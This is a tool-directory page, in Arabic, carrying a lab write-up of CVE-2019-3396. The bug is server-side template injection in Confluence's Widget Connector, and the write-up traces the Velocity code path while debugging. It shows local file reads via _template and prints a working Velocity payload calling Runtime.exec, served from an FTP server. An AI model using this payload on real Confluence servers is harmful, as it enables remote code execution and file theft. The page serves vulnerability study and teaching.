Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-3396 | Kitploit
أدوات/GitHubGitHub/tranphuc2005/cve-2019-3396
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubtranphuc2005/cve-2019-3396

CVE-2019-3396

عرض المستودع
منذ 11 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-3396

🔎 المعلومات الرئيسية:

  • المنتج المتأثر: Confluence Server & Data Center

  • الإصدار المتأثر: من 6.0.0 إلى 6.15.4

  • درجة الخطورة: Critical (CVSS ~9.8)

  • السبب:

    • يحتوي Confluence على إضافة Widget Connector (تُستخدم لتضمين مقاطع الفيديو والمحتوى الخارجي مثل YouTube وVimeo...).

    • هذه الوظيفة لا تتحكم بشكل صحيح في إدخال المستخدم، مما يؤدي إلى Server-Side Template Injection (SSTI).

    • يمكن للمهاجم إرسال حمولة ضارة → يقوم Confluence بالعرض عبر Velocity template engine → تنفيذ كود على الخادم.

1. تثبيت الموقع وتشغيله

  • قم بتثبيت الإصدارات المعرضة للثغرة مثل 6.9.0:
root@kitploit:~
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
  • نفّذ خطوات الإعداد وفقًا للدليل
root@kitploit:~
https://nguyendt.hashnode.dev/confluence-cve-2019-3396
  • بعد التثبيت الناجح سنصل إلى الواجهة

1

2. البحث عن موضع الثغرة وتصحيح الأخطاء

2.1 البحث عن موضع الثغرة

  • وفقًا لـ POC، تقع الوظيفة المعطوبة في جزء Widget Connector (تُستخدم لتضمين مقاطع الفيديو والمحتوى الخارجي مثل YouTube وVimeo...)
  • ابحث عن تلك الوظيفة:
  1. اختر قسم Other macros

1

  1. ابحث عن الأداة Widget Connector

1

  1. أدخل الرابط واملأ المعلومات المطلوبة ثم اختر Preview

1

2.2 الإعداد لتصحيح الأخطاء

  • بما أن الوصف يشير إلى Widget Connector، فلنجرب البحث في مجلد المصدر الخاص بـ Confluence

1

  • اقرأ ملف .jar باستخدام Intellij IDEA
  • ضع نقاط Breakpoint في المواضع التي تعالج تحليل الرابط وقم بعملية تصحيح الأخطاء

إجراء تصحيح الأخطاء

  • ابدأ تصحيح الأخطاء واضبط breakpoint عند com.atlassian.confluence.extra.widgetconnector.WidgetMacro.class
  • هنا نرى المعاملات
  • يتم استدعاء الكلاس DefaultRenderManager.class

1

  • هنا تُستخدم الدالة getEmbeddedHtml()
  • تعيد جزء HTML لتضمين المحتوى الخارجي (فيديو، عنصر واجهة، مستندات...) بناءً على URL يُدخله المستخدم في صفحة Confluence
  • ومن ثم يتم استدعاء الدالة YoutubeRenderer

1

  • ادخل إلى الكلاس YoutubeRenderer
  • في هذه الدالة getEmbeddedHtml(String url, Map<String, String> params)
  • url → رابط YouTube الأصلي الذي أدخله المستخدم
  • params → خريطة تحتوي على معاملات تهيئة العرض (مثل: العرض، الارتفاع، القالب المستخدم للعرض،...).

1

  • استمر في استدعاء getEmbedUrl() وsetDefaultParam() وDefaultVelocityRenderService.render()
  • ركّز على setDefaultParam()

1

  • إذا لم يكن _template موجودًا → يتم تعيين القالب الافتراضي إلى youtube.vm. => يمكن إضافة _template يدويًا إلى البرنامج

  • بعد ذلك ندخل إلى DefaultVelocityRenderService.render()

  1. الغرض من الدالة

    • تستقبل url + معاملات params.

    • تستخدم قالب Velocity (.vm) للعرض كـ HTML مضمّن (iframe, embed, …).

  2. تحديد القالب

    • إذا كان params يحتوي _template → يُستخدم هذا القالب.

    • وإلا → يُستخدم الافتراضي embed.vm.

  3. أنشئ سياقًا افتراضيًا باستخدام MacroUtils.defaultVelocityContext().

  • أدخل جميع المعاملات من params إلى السياق:

    • إذا كان المفتاح = tweetHtml → يُحفظ HTML كما هو.

    • بخلاف ذلك → يتم الترميز بأمان باستخدام GeneralUtil.htmlEncode().

  • أضف urlHtml وwidth وheight إلى السياق (إذا كانت فارغة فاضبط الافتراضي 400 × 300).

1

  • استدعِ VelocityUtils.getRenderedTemplate()

1

  • الآن سننتقل إلى الكلاس VelocityUtils
  • في الجزء أعلاه يتم استدعاء getRenderedTemplate وgetRenderedTemplateWithoutSwallowingErrors()

1

  • ثم يستمر الاستدعاء إلى getTemplate()

1

  • هنا templateName هو نفسه _template المذكور أعلاه.

  • ثم يستمر بعد ذلك إلى VelocityEngine.Template()

1

  • داخل الكلاس VelocityEngine يستمر الاستدعاء إلى RunimeInstance.getTemplate()

1

RuntimeInstance (نواة Velocity)
هذا هو “قلب” Velocity Engine. وهو مسؤول عن:

  • تهيئة المحرك (init)

  • إدارة الإعدادات والـ macro وparser والتوجيهات ومعالجات الأحداث...

  • وبشكل خاص: إدارة الموارد عبر ResourceManager

→ أي أن RuntimeInstance لا يقوم بتحميل الموارد بنفسه، بل يفوّض الأمر إلى resourceManager.

  • ثم يستدعي CompatibleVelocityResourceManager.getResource()

1

ConfigurableResourceManager (مخصص لـ Confluence)
هذا هو تنفيذ لواجهة ResourceManager.
وهو مسؤول عن:

  • إدارة محمّلات الموارد (file loader وclasspath loader وURL loader...).

  • إدارة globalCache (تخزين القوالب مؤقتًا وفقًا لـ resourceKey).

  • تنفيذ تحميل/تحديث القالب (ملف .vm) عندما يطلب ذلك RuntimeInstance.

1

root@kitploit:~
try {
    this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
    this.globalCache.remove(resourceKey);
    return this.getResource(resourceName, resourceType, encoding);
}
  • عندما يكون المورد في cache، فإنه لا يعيده فورًا، بل يستدعي refreshResource(...).

  • سيقارن refreshResource وقت آخر تعديل على القرص مع الموجود في cache.

  • إذا تغيّر الملف → يصبح المورد في cache غير صالح → يُعاد تحميله من القرص → يتم تحديث cache.

👉 لذلك لا تحتاج إلى تغيير resourceKey يدويًا. تضمن آلية التحديث أنه عند تغيير القالب، يتم تحديث cache أيضًا.

قم بإضافة _template وأعد إرسال الطلب

1

  • نرى قائمة مثيلات ResourceLoader (الكائنات التي تم إنشاؤها) في Velocity

1

1

  • هنا نهتم فقط بـ FileResourceLoader وClasspathResourceLoader

1. بالنسبة إلى FileResourceLoader

يستدعي StringUtils.normalizePath() لمنع path traversal

1

  • محتوى normalizePath كما في الصورة

1

  • جرّب قراءة ملف /WEB-INF/web.xml وستلاحظ أنه تم تحميل الملف بنجاح.

1

  • لكن لا يزال لا يمكن الخروج من مجلد Confluence لأنه يتم حظر /../
  • تابع فحص ClasspathResourceLoader

2. ClasspathResourceLoader

1

  • تابع حتى ClassUtils.getResourceAsStream

1

  • يستدعي findResource() الخاص بـ /org/apache/catalina/loader/WebappClassLoaderBase.class

1

  • يستمر في استدعاء super.findResource() الذي يعيد URL، أي أنه يمكن الحصول على الكائن.

1

1

  • يستدعي url.openStream() لجلب البيانات

1

  • أخيرًا، يُدخل البيانات في عرض Velocity.

1

  • إذا لم تكن تعرف المسار المحدد في الحالات الفعلية، يمكننا الاستفادة من scheme file الخاص بـ Java للحصول على قائمة المجلدات

1

يوجد اتصال خارجي

الحمولة المنفَّذة

root@kitploit:~
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
  $scan.next()
#end
  • استدعِ $runtime.exec("id") → تنفيذ أمر النظام "id" على Ubuntu.
  • افتح خدمة FTP باستخدام الأمر:
root@kitploit:~
python3 -m pyftpdlib -p 2005

1

التنفيذ:

1

تنزيل الأداة